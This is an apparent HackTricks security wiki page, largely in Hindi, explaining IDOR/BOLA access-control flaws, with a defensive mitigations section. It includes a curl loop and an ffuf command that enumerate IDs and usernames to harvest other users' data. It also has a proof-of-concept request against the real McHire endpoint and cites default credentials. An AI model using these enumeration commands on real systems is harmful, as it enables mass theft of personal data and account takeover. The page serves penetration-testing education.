IDOR (Insecure Direct Object Reference)

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब होता है जब कोई web या API endpoint एक user–controllable identifier को प्रकट करता है या स्वीकार करता है जिसे एक internal object तक पहुँचने के लिए सीधे उपयोग किया जाता है बिना यह सत्यापित किए कि caller उस object को एक्सेस/संशोधित करने के लिए अधिकार प्राप्त है। सफल एक्सप्लॉइटेशन आमतौर पर horizontal या vertical privilege-escalation की अनुमति देता है — जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना — और सबसे खराब स्थिति में पूरा account takeover या mass-data exfiltration हो सकता है।


1. संभावित IDORs की पहचान

  1. उन parameters की तलाश करें जो किसी object का संदर्भ देते हैं:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. उन endpoints को प्राथमिकता दें जो डेटा को read या update करते हैं (GET, PUT, PATCH, DELETE)।
  2. ध्यान दें जब identifiers क्रमिक या अनुमानित हों – अगर आपका ID 64185742 है, तो 64185741 संभवतः मौजूद होगा।
  3. hidden या वैकल्पिक flows (उदा. "Paradox team members" लिंक लॉगिन पेजों में) एक्सपोज़ किए गए अतिरिक्त APIs प्रकट कर सकते हैं।
  4. एक authenticated low-privilege session का उपयोग करें और केवल ID बदलें उसी token/cookie को रखते हुए। authorization error की अनुपस्थिति आमतौर पर IDOR का संकेत होती है।

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

स्वचालित enumeration (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

जब कोई download endpoint एक साथ username और filename दोनों स्वीकार करता है (उदा. /view.php?username=<u>&file=<f>), तो error messages में सूक्ष्म अंतर अक्सर एक oracle बना देते हैं:

  • मौजूद नहीं username → "User not found"
  • गलत filename लेकिन valid extension → "File does not exist" (कभी-कभी उपलब्ध files भी सूचीबद्ध होती हैं)
  • गलत extension → validation error

किसी भी authenticated session में, आप एक benign filename रखते हुए username parameter को fuzz कर सकते हैं और "user not found" स्ट्रिंग पर filter करके वैध users खोज सकते हैं:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

एक बार वैध usernames की पहचान हो जाने पर, सीधे विशिष्ट फ़ाइलें अनुरोध करें (उदा., /view.php?username=amanda&file=privacy.odt)। यह पैटर्न अक्सर अन्य उपयोगकर्ताओं के दस्तावेज़ों और credential leakage के अनधिकृत खुलासे का कारण बनता है।


2. Real-World Case Study – McHire Chatbot Platform (2025)

Paradox.ai-powered McHire recruitment portal के आकलन के दौरान निम्नलिखित IDOR पाया गया:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

lead_id घटाकर परीक्षक ने मनमाने applicants के full PII (name, e-mail, phone, address, shift preferences) तथा एक consumer JWT प्राप्त किया जिससे session hijacking संभव हुआ। 1 – 64,185,742 रेंज की Enumeration से लगभग 64 million रिकॉर्ड उजागर हुए।

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.


3. IDOR / BOLA का प्रभाव

  • Horizontal escalation – अन्य उपयोगकर्ताओं के डेटा को पढ़ना/अपडेट/डिलीट करना।
  • Vertical escalation – low privileged user gains admin-only functionality.
  • Mass-data breach अगर identifiers क्रमिक हों (उदा., applicant IDs, invoices)।
  • Account takeover द्वारा tokens चुराना या अन्य उपयोगकर्ताओं के पासवर्ड रिसेट करना।

4. निवारक उपाय और सर्वोत्तम अभ्यास

  1. Enforce object-level authorization को हर अनुरोध पर लागू करें (user_id == session.user)।
  2. auto-increment IDs की बजाय indirect, unguessable identifiers (UUIDv4, ULID) को प्राथमिकता दें।
  3. authorization server-side पर करें; hidden form fields या UI controls पर कभी भरोसा न करें।
  4. केन्द्रीय middleware में RBAC / ABAC checks लागू करें।
  5. ID enumeration का पता लगाने के लिए rate-limiting & logging जोड़ें।
  6. हर नए endpoint का security परीक्षण करें (unit, integration, and DAST)।

5. उपकरण

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें